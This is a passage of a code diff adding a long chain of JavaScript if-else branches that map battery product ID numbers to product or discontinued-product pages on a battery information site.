+ else if(IDText.value=="erw510"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw520"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw530"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw600"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw610"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw700"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw720"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erw800"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscell.htm"
+ return true
+ }
+ else if(IDText.value=="erp107"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp240"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp268"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp275"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp290"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp450"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp506"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp509"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp730"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erp9116"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p2312"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p2322m"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p2331"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3201"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3303"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3306"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p3391"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p5256"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7301"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7302"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="7310"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7320"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7330"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7340"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7350"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+
+ else if(IDText.value=="p7360"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7400"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="p7501"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packscord.htm"
+ return true
+ }
+ else if(IDText.value=="erd100"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd110"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd200"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+ else if(IDText.value=="erd300"){
+ //Checks for id entry
+ res="../batteryinfo/product_offerings/rechargeable_consumer/rechargeable_consumer_packsdigicam.htm"
+ return true
+ }
+
+
+
+
+
+
+
+
+
+
+
+
+
+ else if(IDText.value=="164"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="201"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="216"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="226"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="228"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="311"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="314"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+
+ else if(IDText.value=="313"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="323"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="325"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="333cz"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="343"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="354"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="355"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="387"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="388"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="417"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="420"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="457"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="477"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="479"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="482"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="484"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="487"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="490"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="491"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="496"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="509"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="510f"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="520"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="523"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="531"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="532"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="537"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="538"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="544"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="561"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="563"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="564"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="565"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="646"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="703"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="706"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="714"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="715"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="716"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="717"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="724"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="731"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="735"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="738"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="742"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="744"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="750"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="762s"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="773"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="778"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="781"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="812"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="815"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="835"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="850"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="904"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="912"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="915"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="935"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="950"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1015"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1035"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1050"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1150"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1231"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1461"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1463"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1562"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="1862"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2356n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2709n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2744n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2745n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2746n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="2780n"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ac41e"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cc1096"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm1460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm2460"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060a"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ccm4060m"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cdc100"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch12"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch15"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch2aa"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch22"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch35"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch4"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="ch50"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1060"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm1560"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm4160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm6036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cm9172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp2360"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3336"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3536"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp3736"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5036"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5648"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp5960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp6172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7072"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7148"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7149"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7261"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7348"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7548"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7661"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp7960"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8049"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8136"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8160"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8172"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8248"){
+ //Checks for id entry
+ print("You have entered a Discontinued Product Number")
+ res="../datasheets/contents/discontinued_battery_index.htm"
+ return true
+ }
+ else if(IDText.value=="cp8661"){
